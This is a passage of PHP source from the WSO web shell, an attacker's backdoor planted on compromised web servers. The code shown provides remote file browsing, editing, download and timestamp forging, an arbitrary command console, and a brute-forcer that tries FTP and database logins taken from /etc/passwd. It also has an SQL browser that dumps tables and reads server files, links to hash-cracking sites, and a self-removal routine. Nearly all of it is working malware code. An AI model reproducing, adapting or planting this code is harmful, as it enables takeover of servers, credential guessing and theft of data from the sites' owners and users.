685 function wsoCmp($a, $b) {
686 if($GLOBALS['sort'][0] != 'size')
687 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
688 else
689 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
690 }
691 usort($files, "wsoCmp");
692 usort($dirs, "wsoCmp");
693 $files = array_merge($dirs, $files);
694 $l = 0;
695 foreach($files as $f) {
696 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'ft\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'fm\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'ft\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
697 .'</td><td><a href="#" onclick="g(\'ft\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'ft\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'ft\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'ft\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
698 $l = $l?0:1;
699 }
700 echo "<tr><td colspan=7>
701 <input type=hidden name=a value='fm'>
702 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
703 <input type=hidden name=ch value='". (isset($_POST['ch'])?$_POST['ch']:'')."'>
704 <select name='p'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
705 if(class_exists('ZipArchive'))
706 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
707 echo "<option value='tar'>Compress (tar.gz)</option>";
708 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
709 echo "<option value='paste'>Paste / Compress</option>";
710 echo "</select> ";
711 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
712 echo "file name: <input type=text name=x value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
713 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
714 wsoFooter();
715}
716
717function actionst() {
718 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
719 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
720 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
721 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
722 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
723 $stringTools = array(
724 'Base64 encode' => 'base64_encode',
725 'Base64 decode' => 'base64_decode',
726 'Url encode' => 'urlencode',
727 'Url decode' => 'urldecode',
728 'Full urlencode' => 'full_urlencode',
729 'md5 hash' => 'md5',
730 'sha1 hash' => 'sha1',
731 'crypt' => 'crypt',
732 'CRC32' => 'crc32',
733 'ASCII to HEX' => 'ascii2hex',
734 'HEX to ASCII' => 'hex2ascii',
735 'HEX to DEC' => 'hexdec',
736 'HEX to BIN' => 'hex2bin',
737 'DEC to HEX' => 'dechex',
738 'DEC to BIN' => 'decbin',
739 'BIN to HEX' => 'binhex',
740 'BIN to DEC' => 'bindec',
741 'String to lower case' => 'strtolower',
742 'String to upper case' => 'strtoupper',
743 'Htmlspecialchars' => 'htmlspecialchars',
744 'String length' => 'strlen',
745 );
746 if(isset($_POST['ajax'])) {
747 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
748 ob_start();
749 if(in_array($_POST['p'], $stringTools))
750 echo $_POST['p']($_POST['x']);
751 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
752 echo strlen($temp), "\n", $temp;
753 exit;
754 }
755 if(empty($_POST['ajax'])&&!empty($_POST['p']))
756 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
757 wsoHeader();
758 echo '<h1>String conversions</h1><div class=content>';
759 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
760 foreach($stringTools as $k => $v)
761 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
762 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p'])?'':htmlspecialchars(@$_POST['x']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
763 if(!empty($_POST['p'])) {
764 if(in_array($_POST['p'], $stringTools))echo htmlspecialchars($_POST['p']($_POST['x']));
765 }
766 echo"</pre></div><br><h1>Search files:</h1><div class=content>
767 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
768 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
769 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
770 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
771 <tr><td></td><td><input type='submit' value='>>'></td></tr>
772 </table></form>";
773
774 function wsoRecursiveGlob($path) {
775 if(substr($path, -1) != '/')
776 $path.='/';
777 $paths = @array_unique(@array_merge(@glob($path.$_POST['s']), @glob($path.'*', GLOB_ONLYDIR)));
778 if(is_array($paths)&&@count($paths)) {
779 foreach($paths as $item) {
780 if(@is_dir($item)){
781 if($path!=$item)
782 wsoRecursiveGlob($item);
783 } else {
784 if(empty($_POST['x']) || @strpos(file_get_contents($item), $_POST['x'])!==false)
785 echo "<a href='#' onclick='g(\"ft\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
786 }
787 }
788 }
789 }
790 if(@$_POST['s'])
791 wsoRecursiveGlob($_POST['c']);
792 echo "</div><br><h1>Search for hash:</h1><div class=content>
793 <form method='post' target='_blank' name='hf'>
794 <input type='text' name='hash' style='width:200px;'><br>
795 <input type='hidden' name='act' value='find'/>
796 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
797 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
798 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
799 </form></div>";
800 wsoFooter();
801}
802
803function actionft() {
804 if( isset($_POST['p']) )
805 $_POST['p'] = urldecode($_POST['p']);
806 if(@$_POST['x']=='download') {
807 if(@is_file($_POST['p']) && @is_readable($_POST['p'])) {
808 ob_start("ob_gzhandler", 4096);
809 header("Content-Disposition: attachment; filename=".basename($_POST['p']));
810 if (function_exists("mime_content_type")) {
811 $type = @mime_content_type($_POST['p']);
812 header("Content-Type: " . $type);
813 } else
814 header("Content-Type: application/octet-stream");
815 $fp = @fopen($_POST['p'], "r");
816 if($fp) {
817 while(!@feof($fp))
818 echo @fgets($fp, 1024);
819 fclose($fp);
820 }
821 }exit;
822 }
823 if( @$_POST['x'] == 'mkfile' ) {
824 if(!file_exists($_POST['p'])) {
825 $fp = @fopen($_POST['p'], 'w');
826 if($fp) {
827 $_POST['x'] = "edit";
828 fclose($fp);
829 }
830 }
831 }
832 wsoHeader();
833 echo '<h1>File tools</h1><div class=content>';
834 if( !file_exists(@$_POST['p']) ) {
835 echo 'File not exists';
836 wsoFooter();
837 return;
838 }
839 $uid = @posix_getpwuid(@fileowner($_POST['p']));
840 if(!$uid) {
841 $uid['name'] = @fileowner($_POST['p']);
842 $gid['name'] = @filegroup($_POST['p']);
843 } else $gid = @posix_getgrgid(@filegroup($_POST['p']));
844 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p'])).' <span>Size:</span> '.(is_file($_POST['p'])?wsoViewSize(filesize($_POST['p'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
845 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p'])).'<br><br>';
846 if( empty($_POST['x']) )
847 $_POST['x'] = 'view';
848 if( is_file($_POST['p']) )
849 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
850 else
851 $m = array('Chmod', 'Rename', 'Touch');
852 foreach($m as $v)
853 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['x'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
854 echo '<br><br>';
855 switch($_POST['x']) {
856 case 'view':
857 echo '<pre class=ml1>';
858 $fp = @fopen($_POST['p'], 'r');
859 if($fp) {
860 while( !@feof($fp) )
861 echo htmlspecialchars(@fgets($fp, 1024));
862 @fclose($fp);
863 }
864 echo '</pre>';
865 break;
866 case 'highlight':
867 if( @is_readable($_POST['p']) ) {
868 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
869 $code = @highlight_file($_POST['p'],true);
870 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
871 }
872 break;
873 case 'chmod':
874 if( !empty($_POST['s']) ) {
875 $perms = 0;
876 for($i=strlen($_POST['s'])-1;$i>=0;--$i)
877 $perms += (int)$_POST['s'][$i]*pow(8, (strlen($_POST['s'])-$i-1));
878 if(!@chmod($_POST['p'], $perms))
879 echo 'Can\'t set permissions!<br><script>document.mf.s.value="";</script>';
880 }
881 clearstatcache();
882 echo '<script>s_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p'])),-4).'"><input type=submit value=">>"></form>';
883 break;
884 case 'edit':
885 if( !is_writable($_POST['p'])) {
886 echo 'File isn\'t writeable';
887 break;
888 }
889 if( !empty($_POST['s']) ) {
890 $time = @filemtime($_POST['p']);
891 $_POST['s'] = substr($_POST['s'],1);
892 $fp = @fopen($_POST['p'],"w");
893 if($fp) {
894 @fwrite($fp,$_POST['s']);
895 @fclose($fp);
896 echo 'Saved!<br><script>s_="";</script>';
897 }
898 }
899 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
900 $fp = @fopen($_POST['p'], 'r');
901 if($fp) {
902 while( !@feof($fp) )
903 echo htmlspecialchars(@fgets($fp, 1024));
904 @fclose($fp);
905 }
906 echo '</textarea><input type=submit value="Save"></form>';
907 if($time) touch($_POST['p'],$time,$time);
908 break;
909 case 'hexdump':
910 $c = @file_get_contents($_POST['p']);
911 $n = 0;
912 $h = array('00000000<br>','','');
913 $len = strlen($c);
914 for ($i=0; $i<$len; ++$i) {
915 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
916 switch ( ord($c[$i]) ) {
917 case 0: $h[2] .= ' '; break;
918 case 9: $h[2] .= ' '; break;
919 case 10: $h[2] .= ' '; break;
920 case 13: $h[2] .= ' '; break;
921 default: $h[2] .= $c[$i]; break;
922 }
923 $n++;
924 if ($n == 32) {
925 $n = 0;
926 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
927 $h[1] .= '<br>';
928 $h[2] .= "\n";
929 }
930 }
931 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
932 break;
933 case 'rename':
934 if( !empty($_POST['s']) ) {
935 if(!@rename($_POST['p'], $_POST['s']))
936 echo 'Can\'t rename!<br>';
937 else
938 die('<script>g(null,null,"'.urlencode($_POST['s']).'",null,"")</script>');
939 }
940 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p']).'"><input type=submit value=">>"></form>';
941 break;
942 case 'touch':
943 if( !empty($_POST['s']) ) {
944 $time = strtotime($_POST['s']);
945 if($time) {
946 if(!touch($_POST['p'],$time,$time))
947 echo 'Fail!';
948 else
949 echo 'Touched!';
950 } else echo 'Bad time format!';
951 }
952 clearstatcache();
953 echo '<script>s_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p'])).'"><input type=submit value=">>"></form>';
954 break;
955 }
956 echo '</div>';
957 wsoFooter();
958}
959
960function actionce() {
961 if(!empty($_POST['p']) && !empty($_POST['x'])) {
962 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
963 $_POST['p'] .= ' 2>&1';
964 } elseif(!empty($_POST['p']))
965 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
966
967 if(isset($_POST['ajax'])) {
968 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
969 ob_start();
970 echo "d.cf.cmd.value='';\n";
971 $temp = @iconv($_POST['ch'], 'UTF-8', addcslashes("\n$ ".$_POST['p']."\n".wsoEx($_POST['p']),"\n\r\t\\'\0"));
972 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p'],$match)) {
973 if(@chdir($match[1])) {
974 $GLOBALS['cwd'] = @getcwd();
975 echo "c_='".$GLOBALS['cwd']."';";
976 }
977 }
978 echo "d.cf.output.value+='".$temp."';";
979 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
980 $temp = ob_get_clean();
981 echo strlen($temp), "\n", $temp;
982 exit;
983 }
984 if(empty($_POST['ajax'])&&!empty($_POST['p']))
985 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
986 wsoHeader();
987 echo "<script>
988if(window.Event) window.captureEvents(Event.KEYDOWN);
989var cmds = new Array('');
990var cur = 0;
991function kp(e) {
992 var n = (window.Event) ? e.which : e.keyCode;
993 if(n == 38) {
994 cur--;
995 if(cur>=0)
996 document.cf.cmd.value = cmds[cur];
997 else
998 cur++;
999 } else if(n == 40) {
1000 cur++;
1001 if(cur < cmds.length)
1002 document.cf.cmd.value = cmds[cur];
1003 else
1004 cur--;
1005 }
1006}
1007function add(cmd) {
1008 cmds.pop();
1009 cmds.push(cmd);
1010 cmds.push('');
1011 cur = cmds.length-1;
1012}
1013</script>";
1014 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1015 foreach($GLOBALS['aliases'] as $n => $v) {
1016 if($v == '') {
1017 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1018 continue;
1019 }
1020 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1021 }
1022
1023 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['x'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1024 if(!empty($_POST['p'])) {
1025 echo htmlspecialchars("$ ".$_POST['p']."\n".wsoEx($_POST['p']));
1026 }
1027 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1028 echo '</form></div><script>d.cf.cmd.focus();</script>';
1029 wsoFooter();
1030}
1031
1032function actionLogout() {
1033 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1034 die('bye!');
1035}
1036
1037function actionSelfRemove() {
1038
1039 if($_POST['p'] == 'yes')
1040 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1041 die('Shell has been removed');
1042 else
1043 echo 'unlink error!';
1044 if($_POST['p'] != 'yes')
1045 wsoHeader();
1046 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1047 wsoFooter();
1048}
1049
1050function actionbf() {
1051 wsoHeader();
1052 if( isset($_POST['proto']) ) {
1053 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1054 if( $_POST['proto'] == 'ftp' ) {
1055 function wsoBruteForce($ip,$port,$login,$pass) {
1056 $fp = @ftp_connect($ip, $port?$port:21);
1057 if(!$fp) return false;
1058 $res = @ftp_login($fp, $login, $pass);
1059 @ftp_close($fp);
1060 return $res;
1061 }
1062 } elseif( $_POST['proto'] == 'mysql' ) {
1063 function wsoBruteForce($ip,$port,$login,$pass) {
1064 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1065 @mysql_close($res);
1066 return $res;
1067 }
1068 } elseif( $_POST['proto'] == 'pgsql' ) {
1069 function wsoBruteForce($ip,$port,$login,$pass) {
1070 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1071 $res = @pg_connect($str);
1072 @pg_close($res);
1073 return $res;
1074 }
1075 }
1076 $success = 0;
1077 $attempts = 0;
1078 $server = explode(":", $_POST['server']);
1079 if($_POST['type'] == 1) {
1080 $temp = @file('/etc/passwd');
1081 if( is_array($temp) )
1082 foreach($temp as $line) {
1083 $line = explode(":", $line);
1084 ++$attempts;
1085 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1086 $success++;
1087 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1088 }
1089 if(@$_POST['reverse']) {
1090 $tmp = "";
1091 for($i=strlen($line[0])-1; $i>=0; --$i)
1092 $tmp .= $line[0][$i];
1093 ++$attempts;
1094 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1095 $success++;
1096 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1097 }
1098 }
1099 }
1100 } elseif($_POST['type'] == 2) {
1101 $temp = @file($_POST['dict']);
1102 if( is_array($temp) )
1103 foreach($temp as $line) {
1104 $line = trim($line);
1105 ++$attempts;
1106 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1107 $success++;
1108 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1109 }
1110 }
1111 }
1112 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1113 }
1114 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1115 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1116 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1117 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1118 .'<input type=hidden name=ch value="'.htmlspecialchars($_POST['ch']).'">'
1119 .'<span>Server:port</span></td>'
1120 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1121 .'<tr><td><span>Brute type</span></td>'
1122 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1123 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1124 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1125 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1126 .'<td><input type=text name=login value="root"></td></tr>'
1127 .'<tr><td><span>Dictionary</span></td>'
1128 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1129 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1130 echo '</div><br>';
1131 wsoFooter();
1132}
1133
1134function actionSql() {
1135 class DbClass {
1136 var $type;
1137 var $link;
1138 var $res;
1139 function DbClass($type) {
1140 $this->type = $type;
1141 }
1142 function connect($host, $user, $pass, $dbname){
1143 switch($this->type) {
1144 case 'mysql':
1145 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1146 break;
1147 case 'pgsql':
1148 $host = explode(':', $host);
1149 if(!$host[1]) $host[1]=5432;
1150 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1151 break;
1152 }
1153 return false;
1154 }
1155 function selectdb($db) {
1156 switch($this->type) {
1157 case 'mysql':
1158 if (@mysql_select_db($db))return true;
1159 break;
1160 }
1161 return false;
1162 }
1163 function query($str) {
1164 switch($this->type) {
1165 case 'mysql':
1166 return $this->res = @mysql_query($str);
1167 break;
1168 case 'pgsql':
1169 return $this->res = @pg_query($this->link,$str);
1170 break;
1171 }
1172 return false;
1173 }
1174 function fetch() {
1175 $res = func_num_args()?func_get_arg(0):$this->res;
1176 switch($this->type) {
1177 case 'mysql':
1178 return @mysql_fetch_assoc($res);
1179 break;
1180 case 'pgsql':
1181 return @pg_fetch_assoc($res);
1182 break;
1183 }
1184 return false;
1185 }
1186 function listDbs() {
1187 switch($this->type) {
1188 case 'mysql':
1189 return $this->query("SHOW databases");
1190 break;
1191 case 'pgsql':
1192 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1193 break;
1194 }
1195 return false;
1196 }
1197 function listTables() {
1198 switch($this->type) {
1199 case 'mysql':
1200 return $this->res = $this->query('SHOW TABLES');
1201 break;
1202 case 'pgsql':
1203 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1204 break;
1205 }
1206 return false;
1207 }
1208 function error() {
1209 switch($this->type) {
1210 case 'mysql':
1211 return @mysql_error();
1212 break;
1213 case 'pgsql':
1214 return @pg_last_error();
1215 break;
1216 }
1217 return false;
1218 }
1219 function setCharset($str) {
1220 switch($this->type) {
1221 case 'mysql':
1222 if(function_exists('mysql_set_charset'))
1223 return @mysql_set_charset($str, $this->link);
1224 else
1225 $this->query('SET CHARSET '.$str);
1226 break;
1227 case 'pgsql':
1228 return @pg_set_client_encoding($this->link, $str);
1229 break;
1230 }
1231 return false;
1232 }
1233 function loadFile($str) {
1234 switch($this->type) {
1235 case 'mysql':
1236 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1237 break;
1238 case 'pgsql':
1239 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1240 $r=array();
1241 while($i=$this->fetch())
1242 $r[] = $i['file'];
1243 $this->query('drop table wso2');
1244 return array('file'=>implode("\n",$r));
1245 break;
1246 }
1247 return false;
1248 }
1249 function dump($table, $fp = false) {
1250 switch($this->type) {
1251 case 'mysql':
1252 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1253 $create = mysql_fetch_array($res);
1254 $sql = $create[1].";\n";
1255 if($fp) fwrite($fp, $sql); else echo($sql);
1256 $this->query('SELECT * FROM `'.$table.'`');
1257 $i = 0;
1258 $head = true;
1259 while($item = $this->fetch()) {
1260 $sql = '';
1261 if($i % 1000 == 0) {
1262 $head = true;
1263 $sql = ";\n\n";
1264 }
1265
1266 $columns = array();
1267 foreach($item as $k=>$v) {
1268 if($v === null)
1269 $item[$k] = "NULL";
1270 elseif(is_int($v))
1271 $item[$k] = $v;
1272 else
1273 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1274 $columns[] = "`".$k."`";
1275 }
1276 if($head) {
1277 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1278 $head = false;
1279 } else
1280 $sql .= "\n\t,(".implode(", ", $item).')';
1281 if($fp) fwrite($fp, $sql); else echo($sql);
1282 $i++;
1283 }
1284 if(!$head)
1285 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1286 break;
1287 case 'pgsql':
1288 $this->query('SELECT * FROM '.$table);
1289 while($item = $this->fetch()) {
1290 $columns = array();
1291 foreach($item as $k=>$v) {
1292 $item[$k] = "'".addslashes($v)."'";
1293 $columns[] = $k;
1294 }
1295 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1296 if($fp) fwrite($fp, $sql); else echo($sql);
1297 }
1298 break;
1299 }
1300 return false;
1301 }
1302 };
1303 $db = new DbClass($_POST['type']);
1304 if((@$_POST['x']=='download') && (@$_POST['p']!='select')) {
1305 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1306 $db->selectdb($_POST['sql_base']);
1307 switch($_POST['ch']) {
1308 case "Windows-1251": $db->setCharset('cp1251'); break;
1309 case "UTF-8": $db->setCharset('utf8'); break;
1310 case "KOI8-R": $db->setCharset('koi8r'); break;
1311 case "KOI8-U": $db->setCharset('koi8u'); break;
1312 case "cp866": $db->setCharset('cp866'); break;
1313 }
1314 if(empty($_POST['file'])) {
1315 ob_start("ob_gzhandler", 4096);
1316 header("Content-Disposition: attachment; filename=dump.sql");
1317 header("Content-Type: text/plain");
1318 foreach($_POST['tbl'] as $v)
1319 $db->dump($v);
1320 exit;
1321 } elseif($fp = @fopen($_POST['file'], 'w')) {
1322 foreach($_POST['tbl'] as $v)
1323 $db->dump($v, $fp);
1324 fclose($fp);
1325 unset($_POST['x']);
1326 } else
1327 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1328 }
1329 wsoHeader();
1330 echo "
1331<h1>Sql browser</h1><div class=content>
1332<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1333<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1334<input type=hidden name=a value=Sql><input type=hidden name=p value='query'><input type=hidden name=x value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=ch value='". (isset($_POST['ch'])?$_POST['ch']:'') ."'>
1335<td><select name='type'><option value='mysql' ";
1336 if(@$_POST['type']=='mysql')echo 'selected';
1337echo ">MySql</option><option value='pgsql' ";
1338if(@$_POST['type']=='pgsql')echo 'selected';
1339echo ">PostgreSql</option></select></td>
1340<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1341<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1342<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1343 $tmp = "<input type=text name=sql_base value=''>";
1344 if(isset($_POST['sql_host'])){
1345 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1346 switch($_POST['ch']) {
1347 case "Windows-1251": $db->setCharset('cp1251'); break;
1348 case "UTF-8": $db->setCharset('utf8'); break;
1349 case "KOI8-R": $db->setCharset('koi8r'); break;
1350 case "KOI8-U": $db->setCharset('koi8u'); break;
1351 case "cp866": $db->setCharset('cp866'); break;
1352 }
1353 $db->listDbs();
1354 echo "<select name=sql_base><option value=''></option>";
1355 while($item = $db->fetch()) {
1356 list($key, $value) = each($item);
1357 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1358 }
1359 echo '</select>';
1360 }
1361 else echo $tmp;
1362 }else
1363 echo $tmp;
1364 echo "</td>
1365 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
